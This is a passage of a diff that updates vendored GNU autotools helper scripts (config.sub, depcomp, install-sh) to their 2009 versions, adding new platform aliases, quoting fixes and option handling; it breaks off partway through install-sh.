@ -1458,9 +1491,9 @@ This script, last modified $timestamp, has failed to recognize
|
||||
the operating system you are using. It is advised that you
|
||||
download the most up to date version of the config scripts from
|
||||
|
||||
http://savannah.gnu.org/cgi-bin/viewcvs/*checkout*/config/config/config.guess
|
||||
http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.guess;hb=HEAD
|
||||
and
|
||||
http://savannah.gnu.org/cgi-bin/viewcvs/*checkout*/config/config/config.sub
|
||||
http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.sub;hb=HEAD
|
||||
|
||||
If the version you run ($0) is already up to date, please
|
||||
send the following data and any information you think might be
|
||||
|
127
auto/config.sub
vendored
127
auto/config.sub
vendored
@ -1,10 +1,10 @@
|
||||
#! /bin/sh
|
||||
# Configuration validation subroutine script.
|
||||
# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999,
|
||||
# 2000, 2001, 2002, 2003, 2004, 2005, 2006 Free Software Foundation,
|
||||
# Inc.
|
||||
# 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009
|
||||
# Free Software Foundation, Inc.
|
||||
|
||||
timestamp='2006-09-20'
|
||||
timestamp='2009-06-11'
|
||||
|
||||
# This file is (in principle) common to ALL GNU software.
|
||||
# The presence of a machine in this file suggests that SOME GNU software
|
||||
@ -72,8 +72,8 @@ Report bugs and patches to <config-patches@gnu.org>."
|
||||
version="\
|
||||
GNU config.sub ($timestamp)
|
||||
|
||||
Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005
|
||||
Free Software Foundation, Inc.
|
||||
Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001,
|
||||
2002, 2003, 2004, 2005, 2006, 2007, 2008 Free Software Foundation, Inc.
|
||||
|
||||
This is free software; see the source for copying conditions. There is NO
|
||||
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
|
||||
@ -122,6 +122,7 @@ maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'`
|
||||
case $maybe_os in
|
||||
nto-qnx* | linux-gnu* | linux-dietlibc | linux-newlib* | linux-uclibc* | \
|
||||
uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | \
|
||||
kopensolaris*-gnu* | \
|
||||
storm-chaos* | os2-emx* | rtmk-nova*)
|
||||
os=-$maybe_os
|
||||
basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'`
|
||||
@ -152,6 +153,9 @@ case $os in
|
||||
os=
|
||||
basic_machine=$1
|
||||
;;
|
||||
-bluegene*)
|
||||
os=-cnk
|
||||
;;
|
||||
-sim | -cisco | -oki | -wec | -winbond)
|
||||
os=
|
||||
basic_machine=$1
|
||||
@ -245,17 +249,20 @@ case $basic_machine in
|
||||
| bfin \
|
||||
| c4x | clipper \
|
||||
| d10v | d30v | dlx | dsp16xx \
|
||||
| fr30 | frv \
|
||||
| fido | fr30 | frv \
|
||||
| h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \
|
||||
| i370 | i860 | i960 | ia64 \
|
||||
| ip2k | iq2000 \
|
||||
| lm32 \
|
||||
| m32c | m32r | m32rle | m68000 | m68k | m88k \
|
||||
| maxq | mb | microblaze | mcore \
|
||||
| maxq | mb | microblaze | mcore | mep | metag \
|
||||
| mips | mipsbe | mipseb | mipsel | mipsle \
|
||||
| mips16 \
|
||||
| mips64 | mips64el \
|
||||
| mips64vr | mips64vrel \
|
||||
| mips64octeon | mips64octeonel \
|
||||
| mips64orion | mips64orionel \
|
||||
| mips64r5900 | mips64r5900el \
|
||||
| mips64vr | mips64vrel \
|
||||
| mips64vr4100 | mips64vr4100el \
|
||||
| mips64vr4300 | mips64vr4300el \
|
||||
| mips64vr5000 | mips64vr5000el \
|
||||
@ -268,6 +275,7 @@ case $basic_machine in
|
||||
| mipsisa64sr71k | mipsisa64sr71kel \
|
||||
| mipstx39 | mipstx39el \
|
||||
| mn10200 | mn10300 \
|
||||
| moxie \
|
||||
| mt \
|
||||
| msp430 \
|
||||
| nios | nios2 \
|
||||
@ -277,7 +285,7 @@ case $basic_machine in
|
||||
| powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \
|
||||
| pyramid \
|
||||
| score \
|
||||
| sh | sh[1234] | sh[24]a | sh[23]e | sh[34]eb | sheb | shbe | shle | sh[1234]le | sh3ele \
|
||||
| sh | sh[1234] | sh[24]a | sh[24]aeb | sh[23]e | sh[34]eb | sheb | shbe | shle | sh[1234]le | sh3ele \
|
||||
| sh64 | sh64le \
|
||||
| sparc | sparc64 | sparc64b | sparc64v | sparc86x | sparclet | sparclite \
|
||||
| sparcv8 | sparcv9 | sparcv9b | sparcv9v \
|
||||
@ -286,7 +294,7 @@ case $basic_machine in
|
||||
| v850 | v850e \
|
||||
| we32k \
|
||||
| x86 | xc16x | xscale | xscalee[bl] | xstormy16 | xtensa \
|
||||
| z8k)
|
||||
| z8k | z80)
|
||||
basic_machine=$basic_machine-unknown
|
||||
;;
|
||||
m6811 | m68hc11 | m6812 | m68hc12)
|
||||
@ -324,19 +332,22 @@ case $basic_machine in
|
||||
| clipper-* | craynv-* | cydra-* \
|
||||
| d10v-* | d30v-* | dlx-* \
|
||||
| elxsi-* \
|
||||
| f30[01]-* | f700-* | fr30-* | frv-* | fx80-* \
|
||||
| f30[01]-* | f700-* | fido-* | fr30-* | frv-* | fx80-* \
|
||||
| h8300-* | h8500-* \
|
||||
| hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \
|
||||
| i*86-* | i860-* | i960-* | ia64-* \
|
||||
| ip2k-* | iq2000-* \
|
||||
| lm32-* \
|
||||
| m32c-* | m32r-* | m32rle-* \
|
||||
| m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \
|
||||
| m88110-* | m88k-* | maxq-* | mcore-* \
|
||||
| m88110-* | m88k-* | maxq-* | mcore-* | metag-* \
|
||||
| mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \
|
||||
| mips16-* \
|
||||
| mips64-* | mips64el-* \
|
||||
| mips64vr-* | mips64vrel-* \
|
||||
| mips64octeon-* | mips64octeonel-* \
|
||||
| mips64orion-* | mips64orionel-* \
|
||||
| mips64r5900-* | mips64r5900el-* \
|
||||
| mips64vr-* | mips64vrel-* \
|
||||
| mips64vr4100-* | mips64vr4100el-* \
|
||||
| mips64vr4300-* | mips64vr4300el-* \
|
||||
| mips64vr5000-* | mips64vr5000el-* \
|
||||
@ -358,20 +369,24 @@ case $basic_machine in
|
||||
| powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \
|
||||
| pyramid-* \
|
||||
| romp-* | rs6000-* \
|
||||
| sh-* | sh[1234]-* | sh[24]a-* | sh[23]e-* | sh[34]eb-* | sheb-* | shbe-* \
|
||||
| sh-* | sh[1234]-* | sh[24]a-* | sh[24]aeb-* | sh[23]e-* | sh[34]eb-* | sheb-* | shbe-* \
|
||||
| shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \
|
||||
| sparc-* | sparc64-* | sparc64b-* | sparc64v-* | sparc86x-* | sparclet-* \
|
||||
| sparclite-* \
|
||||
| sparcv8-* | sparcv9-* | sparcv9b-* | sparcv9v-* | strongarm-* | sv1-* | sx?-* \
|
||||
| tahoe-* | thumb-* \
|
||||
| tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \
|
||||
| tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* | tile-* \
|
||||
| tron-* \
|
||||
| v850-* | v850e-* | vax-* \
|
||||
| we32k-* \
|
||||
| x86-* | x86_64-* | xc16x-* | xps100-* | xscale-* | xscalee[bl]-* \
|
||||
| xstormy16-* | xtensa-* \
|
||||
| xstormy16-* | xtensa*-* \
|
||||
| ymp-* \
|
||||
| z8k-*)
|
||||
| z8k-* | z80-*)
|
||||
;;
|
||||
# Recognize the basic CPU types without company name, with glob match.
|
||||
xtensa*)
|
||||
basic_machine=$basic_machine-unknown
|
||||
;;
|
||||
# Recognize the various machine names and aliases which stand
|
||||
# for a CPU type and a company and sometimes even an OS.
|
||||
@ -435,6 +450,10 @@ case $basic_machine in
|
||||
basic_machine=m68k-apollo
|
||||
os=-bsd
|
||||
;;
|
||||
aros)
|
||||
basic_machine=i386-pc
|
||||
os=-aros
|
||||
;;
|
||||
aux)
|
||||
basic_machine=m68k-apple
|
||||
os=-aux
|
||||
@ -443,10 +462,26 @@ case $basic_machine in
|
||||
basic_machine=ns32k-sequent
|
||||
os=-dynix
|
||||
;;
|
||||
blackfin)
|
||||
basic_machine=bfin-unknown
|
||||
os=-linux
|
||||
;;
|
||||
blackfin-*)
|
||||
basic_machine=bfin-`echo $basic_machine | sed 's/^[^-]*-//'`
|
||||
os=-linux
|
||||
;;
|
||||
bluegene*)
|
||||
basic_machine=powerpc-ibm
|
||||
os=-cnk
|
||||
;;
|
||||
c90)
|
||||
basic_machine=c90-cray
|
||||
os=-unicos
|
||||
;;
|
||||
cegcc)
|
||||
basic_machine=arm-unknown
|
||||
os=-cegcc
|
||||
;;
|
||||
convex-c1)
|
||||
basic_machine=c1-convex
|
||||
os=-bsd
|
||||
@ -475,8 +510,8 @@ case $basic_machine in
|
||||
basic_machine=craynv-cray
|
||||
os=-unicosmp
|
||||
;;
|
||||
cr16c)
|
||||
basic_machine=cr16c-unknown
|
||||
cr16)
|
||||
basic_machine=cr16-unknown
|
||||
os=-elf
|
||||
;;
|
||||
crds | unos)
|
||||
@ -514,6 +549,10 @@ case $basic_machine in
|
||||
basic_machine=m88k-motorola
|
||||
os=-sysv3
|
||||
;;
|
||||
dicos)
|
||||
basic_machine=i686-pc
|
||||
os=-dicos
|
||||
;;
|
||||
djgpp)
|
||||
basic_machine=i586-pc
|
||||
os=-msdosdjgpp
|
||||
@ -668,6 +707,14 @@ case $basic_machine in
|
||||
basic_machine=m68k-isi
|
||||
os=-sysv
|
||||
;;
|
||||
m68knommu)
|
||||
basic_machine=m68k-unknown
|
||||
os=-linux
|
||||
;;
|
||||
m68knommu-*)
|
||||
basic_machine=m68k-`echo $basic_machine | sed 's/^[^-]*-//'`
|
||||
os=-linux
|
||||
;;
|
||||
m88k-omron*)
|
||||
basic_machine=m88k-omron
|
||||
;;
|
||||
@ -683,6 +730,10 @@ case $basic_machine in
|
||||
basic_machine=i386-pc
|
||||
os=-mingw32
|
||||
;;
|
||||
mingw32ce)
|
||||
basic_machine=arm-unknown
|
||||
os=-mingw32ce
|
||||
;;
|
||||
miniframe)
|
||||
basic_machine=m68000-convergent
|
||||
;;
|
||||
@ -809,6 +860,14 @@ case $basic_machine in
|
||||
basic_machine=i860-intel
|
||||
os=-osf
|
||||
;;
|
||||
parisc)
|
||||
basic_machine=hppa-unknown
|
||||
os=-linux
|
||||
;;
|
||||
parisc-*)
|
||||
basic_machine=hppa-`echo $basic_machine | sed 's/^[^-]*-//'`
|
||||
os=-linux
|
||||
;;
|
||||
pbd)
|
||||
basic_machine=sparc-tti
|
||||
;;
|
||||
@ -925,6 +984,9 @@ case $basic_machine in
|
||||
basic_machine=sh-hitachi
|
||||
os=-hms
|
||||
;;
|
||||
sh5el)
|
||||
basic_machine=sh5le-unknown
|
||||
;;
|
||||
sh64)
|
||||
basic_machine=sh64-unknown
|
||||
;;
|
||||
@ -1014,6 +1076,10 @@ case $basic_machine in
|
||||
basic_machine=tic6x-unknown
|
||||
os=-coff
|
||||
;;
|
||||
tile*)
|
||||
basic_machine=tile-unknown
|
||||
os=-linux-gnu
|
||||
;;
|
||||
tx39)
|
||||
basic_machine=mipstx39-unknown
|
||||
;;
|
||||
@ -1089,6 +1155,10 @@ case $basic_machine in
|
||||
basic_machine=z8k-unknown
|
||||
os=-sim
|
||||
;;
|
||||
z80-*-coff)
|
||||
basic_machine=z80-unknown
|
||||
os=-sim
|
||||
;;
|
||||
none)
|
||||
basic_machine=none-none
|
||||
os=-none
|
||||
@ -1127,7 +1197,7 @@ case $basic_machine in
|
||||
we32k)
|
||||
basic_machine=we32k-att
|
||||
;;
|
||||
sh[1234] | sh[24]a | sh[34]eb | sh[1234]le | sh[23]ele)
|
||||
sh[1234] | sh[24]a | sh[24]aeb | sh[34]eb | sh[1234]le | sh[23]ele)
|
||||
basic_machine=sh-unknown
|
||||
;;
|
||||
sparc | sparcv8 | sparcv9 | sparcv9b | sparcv9v)
|
||||
@ -1197,10 +1267,11 @@ case $os in
|
||||
# Each alternative MUST END IN A *, to match a version number.
|
||||
# -sysv* is not here because it comes later, after sysvr4.
|
||||
-gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \
|
||||
| -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\
|
||||
| -*vms* | -sco* | -esix* | -isc* | -aix* | -cnk* | -sunos | -sunos[34]*\
|
||||
| -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \
|
||||
| -kopensolaris* \
|
||||
| -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \
|
||||
| -aos* \
|
||||
| -aos* | -aros* \
|
||||
| -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \
|
||||
| -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \
|
||||
| -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* \
|
||||
@ -1209,7 +1280,7 @@ case $os in
|
||||
| -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \
|
||||
| -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \
|
||||
| -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \
|
||||
| -chorusos* | -chorusrdb* \
|
||||
| -chorusos* | -chorusrdb* | -cegcc* \
|
||||
| -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \
|
||||
| -mingw32* | -linux-gnu* | -linux-newlib* | -linux-uclibc* \
|
||||
| -uxpv* | -beos* | -mpeix* | -udk* \
|
||||
@ -1219,7 +1290,7 @@ case $os in
|
||||
| -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \
|
||||
| -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \
|
||||
| -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly* \
|
||||
| -skyos* | -haiku* | -rdos* | -toppers*)
|
||||
| -skyos* | -haiku* | -rdos* | -toppers* | -drops*)
|
||||
# Remember, each alternative MUST END IN *, to match a version number.
|
||||
;;
|
||||
-qnx*)
|
||||
@ -1349,6 +1420,9 @@ case $os in
|
||||
-zvmoe)
|
||||
os=-zvmoe
|
||||
;;
|
||||
-dicos*)
|
||||
os=-dicos
|
||||
;;
|
||||
-none)
|
||||
;;
|
||||
*)
|
||||
@ -1414,6 +1488,9 @@ case $basic_machine in
|
||||
m68*-cisco)
|
||||
os=-aout
|
||||
;;
|
||||
mep-*)
|
||||
os=-elf
|
||||
;;
|
||||
mips*-cisco)
|
||||
os=-elf
|
||||
;;
|
||||
@ -1543,7 +1620,7 @@ case $basic_machine in
|
||||
-sunos*)
|
||||
vendor=sun
|
||||
;;
|
||||
-aix*)
|
||||
-cnk*|-aix*)
|
||||
vendor=ibm
|
||||
;;
|
||||
-beos*)
|
||||
|
116
auto/depcomp
116
auto/depcomp
@ -1,10 +1,10 @@
|
||||
#! /bin/sh
|
||||
# depcomp - compile a program generating dependencies as side-effects
|
||||
|
||||
scriptversion=2006-10-15.18
|
||||
scriptversion=2009-04-28.21; # UTC
|
||||
|
||||
# Copyright (C) 1999, 2000, 2003, 2004, 2005, 2006 Free Software
|
||||
# Foundation, Inc.
|
||||
# Copyright (C) 1999, 2000, 2003, 2004, 2005, 2006, 2007, 2009 Free
|
||||
# Software Foundation, Inc.
|
||||
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
@ -17,9 +17,7 @@ scriptversion=2006-10-15.18
|
||||
# GNU General Public License for more details.
|
||||
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
|
||||
# 02110-1301, USA.
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
# As a special exception to the GNU General Public License, if you
|
||||
# distribute this file as part of a program that contains a
|
||||
@ -87,6 +85,15 @@ if test "$depmode" = dashXmstdout; then
|
||||
depmode=dashmstdout
|
||||
fi
|
||||
|
||||
cygpath_u="cygpath -u -f -"
|
||||
if test "$depmode" = msvcmsys; then
|
||||
# This is just like msvisualcpp but w/o cygpath translation.
|
||||
# Just convert the backslash-escaped backslashes to single forward
|
||||
# slashes to satisfy depend.m4
|
||||
cygpath_u="sed s,\\\\\\\\,/,g"
|
||||
depmode=msvisualcpp
|
||||
fi
|
||||
|
||||
case "$depmode" in
|
||||
gcc3)
|
||||
## gcc 3 implements dependency tracking that does exactly what
|
||||
@ -192,14 +199,14 @@ sgi)
|
||||
' < "$tmpdepfile" \
|
||||
| sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' | \
|
||||
tr '
|
||||
' ' ' >> $depfile
|
||||
echo >> $depfile
|
||||
' ' ' >> "$depfile"
|
||||
echo >> "$depfile"
|
||||
|
||||
# The second pass generates a dummy entry for each header file.
|
||||
tr ' ' '
|
||||
' < "$tmpdepfile" \
|
||||
| sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \
|
||||
>> $depfile
|
||||
>> "$depfile"
|
||||
else
|
||||
# The sourcefile does not contain any dependencies, so just
|
||||
# store a dummy comment line, to avoid errors with the Makefile
|
||||
@ -215,34 +222,39 @@ aix)
|
||||
# current directory. Also, the AIX compiler puts `$object:' at the
|
||||
# start of each line; $object doesn't have directory information.
|
||||
# Version 6 uses the directory in both cases.
|
||||
stripped=`echo "$object" | sed 's/\(.*\)\..*$/\1/'`
|
||||
tmpdepfile="$stripped.u"
|
||||
dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
|
||||
test "x$dir" = "x$object" && dir=
|
||||
base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'`
|
||||
if test "$libtool" = yes; then
|
||||
tmpdepfile1=$dir$base.u
|
||||
tmpdepfile2=$base.u
|
||||
tmpdepfile3=$dir.libs/$base.u
|
||||
"$@" -Wc,-M
|
||||
else
|
||||
tmpdepfile1=$dir$base.u
|
||||
tmpdepfile2=$dir$base.u
|
||||
tmpdepfile3=$dir$base.u
|
||||
"$@" -M
|
||||
fi
|
||||
stat=$?
|
||||
|
||||
if test -f "$tmpdepfile"; then :
|
||||
else
|
||||
stripped=`echo "$stripped" | sed 's,^.*/,,'`
|
||||
tmpdepfile="$stripped.u"
|
||||
fi
|
||||
|
||||
if test $stat -eq 0; then :
|
||||
else
|
||||
rm -f "$tmpdepfile"
|
||||
rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
|
||||
exit $stat
|
||||
fi
|
||||
|
||||
for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
|
||||
do
|
||||
test -f "$tmpdepfile" && break
|
||||
done
|
||||
if test -f "$tmpdepfile"; then
|
||||
outname="$stripped.o"
|
||||
# Each line is of the form `foo.o: dependent.h'.
|
||||
# Do two passes, one to just change these to
|
||||
# `$object: dependent.h' and one to simply `dependent.h:'.
|
||||
sed -e "s,^$outname:,$object :," < "$tmpdepfile" > "$depfile"
|
||||
sed -e "s,^$outname: \(.*\)$,\1:," < "$tmpdepfile" >> "$depfile"
|
||||
sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile"
|
||||
# That's a tab and a space in the [].
|
||||
sed -e 's,^.*\.[a-z]*:[ ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
|
||||
else
|
||||
# The sourcefile does not contain any dependencies, so just
|
||||
# store a dummy comment line, to avoid errors with the Makefile
|
||||
@ -323,7 +335,12 @@ hp2)
|
||||
if test -f "$tmpdepfile"; then
|
||||
sed -e "s,^.*\.[a-z]*:,$object:," "$tmpdepfile" > "$depfile"
|
||||
# Add `dependent.h:' lines.
|
||||
sed -ne '2,${; s/^ *//; s/ \\*$//; s/$/:/; p;}' "$tmpdepfile" >> "$depfile"
|
||||
sed -ne '2,${
|
||||
s/^ *//
|
||||
s/ \\*$//
|
||||
s/$/:/
|
||||
p
|
||||
}' "$tmpdepfile" >> "$depfile"
|
||||
else
|
||||
echo "#dummy" > "$depfile"
|
||||
fi
|
||||
@ -399,7 +416,7 @@ dashmstdout)
|
||||
|
||||
# Remove the call to Libtool.
|
||||
if test "$libtool" = yes; then
|
||||
while test $1 != '--mode=compile'; do
|
||||
while test "X$1" != 'X--mode=compile'; do
|
||||
shift
|
||||
done
|
||||
shift
|
||||
@ -450,32 +467,39 @@ makedepend)
|
||||
"$@" || exit $?
|
||||
# Remove any Libtool call
|
||||
if test "$libtool" = yes; then
|
||||
while test $1 != '--mode=compile'; do
|
||||
while test "X$1" != 'X--mode=compile'; do
|
||||
shift
|
||||
done
|
||||
shift
|
||||
fi
|
||||
# X makedepend
|
||||
shift
|
||||
cleared=no
|
||||
for arg in "$@"; do
|
||||
cleared=no eat=no
|
||||
for arg
|
||||
do
|
||||
case $cleared in
|
||||
no)
|
||||
set ""; shift
|
||||
cleared=yes ;;
|
||||
esac
|
||||
if test $eat = yes; then
|
||||
eat=no
|
||||
continue
|
||||
fi
|
||||
case "$arg" in
|
||||
-D*|-I*)
|
||||
set fnord "$@" "$arg"; shift ;;
|
||||
# Strip any option that makedepend may not understand. Remove
|
||||
# the object too, otherwise makedepend will parse it as a source file.
|
||||
-arch)
|
||||
eat=yes ;;
|
||||
-*|$object)
|
||||
;;
|
||||
*)
|
||||
set fnord "$@" "$arg"; shift ;;
|
||||
esac
|
||||
done
|
||||
obj_suffix="`echo $object | sed 's/^.*\././'`"
|
||||
obj_suffix=`echo "$object" | sed 's/^.*\././'`
|
||||
touch "$tmpdepfile"
|
||||
${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@"
|
||||
rm -f "$depfile"
|
||||
@ -495,7 +519,7 @@ cpp)
|
||||
|
||||
# Remove the call to Libtool.
|
||||
if test "$libtool" = yes; then
|
||||
while test $1 != '--mode=compile'; do
|
||||
while test "X$1" != 'X--mode=compile'; do
|
||||
shift
|
||||
done
|
||||
shift
|
||||
@ -533,13 +557,27 @@ cpp)
|
||||
|
||||
msvisualcpp)
|
||||
# Important note: in order to support this mode, a compiler *must*
|
||||
# always write the preprocessed file to stdout, regardless of -o,
|
||||
# because we must use -o when running libtool.
|
||||
# always write the preprocessed file to stdout.
|
||||
"$@" || exit $?
|
||||
|
||||
# Remove the call to Libtool.
|
||||
if test "$libtool" = yes; then
|
||||
while test "X$1" != 'X--mode=compile'; do
|
||||
shift
|
||||
done
|
||||
shift
|
||||
fi
|
||||
|
||||
IFS=" "
|
||||
for arg
|
||||
do
|
||||
case "$arg" in
|
||||
-o)
|
||||
shift
|
||||
;;
|
||||
$object)
|
||||
shift
|
||||
;;
|
||||
"-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI")
|
||||
set fnord "$@"
|
||||
shift
|
||||
@ -552,16 +590,23 @@ msvisualcpp)
|
||||
;;
|
||||
esac
|
||||
done
|
||||
"$@" -E |
|
||||
sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::echo "`cygpath -u \\"\1\\"`":p' | sort | uniq > "$tmpdepfile"
|
||||
"$@" -E 2>/dev/null |
|
||||
sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::\1:p' | $cygpath_u | sort -u > "$tmpdepfile"
|
||||
rm -f "$depfile"
|
||||
echo "$object : \\" > "$depfile"
|
||||
. "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s:: \1 \\:p' >> "$depfile"
|
||||
sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s:: \1 \\:p' >> "$depfile"
|
||||
echo " " >> "$depfile"
|
||||
. "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s::\1\::p' >> "$depfile"
|
||||
sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::\1\::p' >> "$depfile"
|
||||
rm -f "$tmpdepfile"
|
||||
;;
|
||||
|
||||
msvcmsys)
|
||||
# This case exists only to let depend.m4 do its work. It works by
|
||||
# looking at the text of this script. This case will never be run,
|
||||
# since it is checked for above.
|
||||
exit 1
|
||||
;;
|
||||
|
||||
none)
|
||||
exec "$@"
|
||||
;;
|
||||
@ -580,5 +625,6 @@ exit 0
|
||||
# eval: (add-hook 'write-file-hooks 'time-stamp)
|
||||
# time-stamp-start: "scriptversion="
|
||||
# time-stamp-format: "%:y-%02m-%02d.%02H"
|
||||
# time-stamp-end: "$"
|
||||
# time-stamp-time-zone: "UTC"
|
||||
# time-stamp-end: "; # UTC"
|
||||
# End:
|
||||
|
175
auto/install-sh
175
auto/install-sh
@ -1,7 +1,7 @@
|
||||
#!/bin/sh
|
||||
# install - install a program, script, or datafile
|
||||
|
||||
scriptversion=2006-10-14.15
|
||||
scriptversion=2009-04-28.21; # UTC
|
||||
|
||||
# This originates from X11R5 (mit/util/scripts/install.sh), which was
|
||||
# later released in X11R6 (xc/config/util/install.sh) with the
|
||||
@ -48,7 +48,7 @@ IFS=" "" $nl"
|
||||
# set DOITPROG to echo to test this script
|
||||
|
||||
# Don't use :- since 4.3BSD and earlier shells don't like it.
|
||||
doit="${DOITPROG-}"
|
||||
doit=${DOITPROG-}
|
||||
if test -z "$doit"; then
|
||||
doit_exec=exec
|
||||
else
|
||||
@ -58,34 +58,49 @@ fi
|
||||
# Put in absolute file names if you don't have them in your path;
|
||||
# or use environment vars.
|
||||
|
||||
mvprog="${MVPROG-mv}"
|
||||
cpprog="${CPPROG-cp}"
|
||||
chmodprog="${CHMODPROG-chmod}"
|
||||
chownprog="${CHOWNPROG-chown}"
|
||||
chgrpprog="${CHGRPPROG-chgrp}"
|
||||
stripprog="${STRIPPROG-strip}"
|
||||
rmprog="${RMPROG-rm}"
|
||||
mkdirprog="${MKDIRPROG-mkdir}"
|
||||
chgrpprog=${CHGRPPROG-chgrp}
|
||||
chmodprog=${CHMODPROG-chmod}
|
||||
chownprog=${CHOWNPROG-chown}
|
||||
cmpprog=${CMPPROG-cmp}
|
||||
cpprog=${CPPROG-cp}
|
||||
mkdirprog=${MKDIRPROG-mkdir}
|
||||
mvprog=${MVPROG-mv}
|
||||
rmprog=${RMPROG-rm}
|
||||
stripprog=${STRIPPROG-strip}
|
||||
|
||||
posix_glob='?'
|
||||
initialize_posix_glob='
|
||||
test "$posix_glob" != "?" || {
|
||||
if (set -f) 2>/dev/null; then
|
||||
posix_glob=
|
||||
else
|
||||
posix_glob=:
|
||||
fi
|
||||
}
|
||||
'
|
||||
|
||||
posix_mkdir=
|
||||
|
||||
# Desired mode of installed file.
|
||||
mode=0755
|
||||
|
||||
chgrpcmd=
|
||||
chmodcmd=$chmodprog
|
||||
chowncmd=
|
||||
chgrpcmd=
|
||||
stripcmd=
|
||||
mvcmd=$mvprog
|
||||
rmcmd="$rmprog -f"
|
||||
mvcmd="$mvprog"
|
||||
stripcmd=
|
||||
|
||||
src=
|
||||
dst=
|
||||
dir_arg=
|
||||
dstarg=
|
||||
dst_arg=
|
||||
|
||||
copy_on_change=false
|
||||
no_target_directory=
|
||||
|
||||
usage="Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE
|
||||
usage="\
|
||||
Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE
|
||||
or: $0 [OPTION]... SRCFILES... DIRECTORY
|
||||
or: $0 [OPTION]... -t DIRECTORY SRCFILES...
|
||||
or: $0 [OPTION]... -d DIRECTORIES...
|
||||
@ -95,7 +110,11 @@ In the 2nd and 3rd, copy all SRCFILES to DIRECTORY.
|
||||
In the 4th, create DIRECTORIES.
|
||||
|
||||
Options:
|
||||
--help display this help and exit.
|
||||
--version display version info and exit.
|
||||
|
||||
-c (ignored)
|
||||
-C install only if different (preserve the last data modification time)
|
||||
-d create directories instead of installing files.
|
||||
-g GROUP $chgrpprog installed files to GROUP.
|
||||
-m MODE $chmodprog installed files to MODE.
|
||||
@ -103,57 +122,43 @@ Options:
|
||||
-s $stripprog installed files.
|
||||
-t DIRECTORY install into DIRECTORY.
|
||||
-T report an error if DSTFILE is a directory.
|
||||
--help display this help and exit.
|
||||
--version display version info and exit.
|
||||
|
||||
Environment variables override the default commands:
|
||||
CHGRPPROG CHMODPROG CHOWNPROG CPPROG MKDIRPROG MVPROG RMPROG STRIPPROG
|
||||
CHGRPPROG CHMODPROG CHOWNPROG CMPPROG CPPROG MKDIRPROG MVPROG
|
||||
RMPROG STRIPPROG
|
||||
"
|
||||
|
||||
while test $# -ne 0; do
|
||||
case $1 in
|
||||
-c) shift
|
||||
continue;;
|
||||
-c) ;;
|
||||
|
||||
-d) dir_arg=true
|
||||
shift
|
||||
continue;;
|
||||
-C) copy_on_change=true;;
|
||||
|
||||
-d) dir_arg=true;;
|
||||
|
||||
-g) chgrpcmd="$chgrpprog $2"
|
||||
shift
|
||||
shift
|
||||
continue;;
|
||||
shift;;
|
||||
|
||||
--help) echo "$usage"; exit $?;;
|
||||
|
||||
-m) mode=$2
|
||||
shift
|
||||
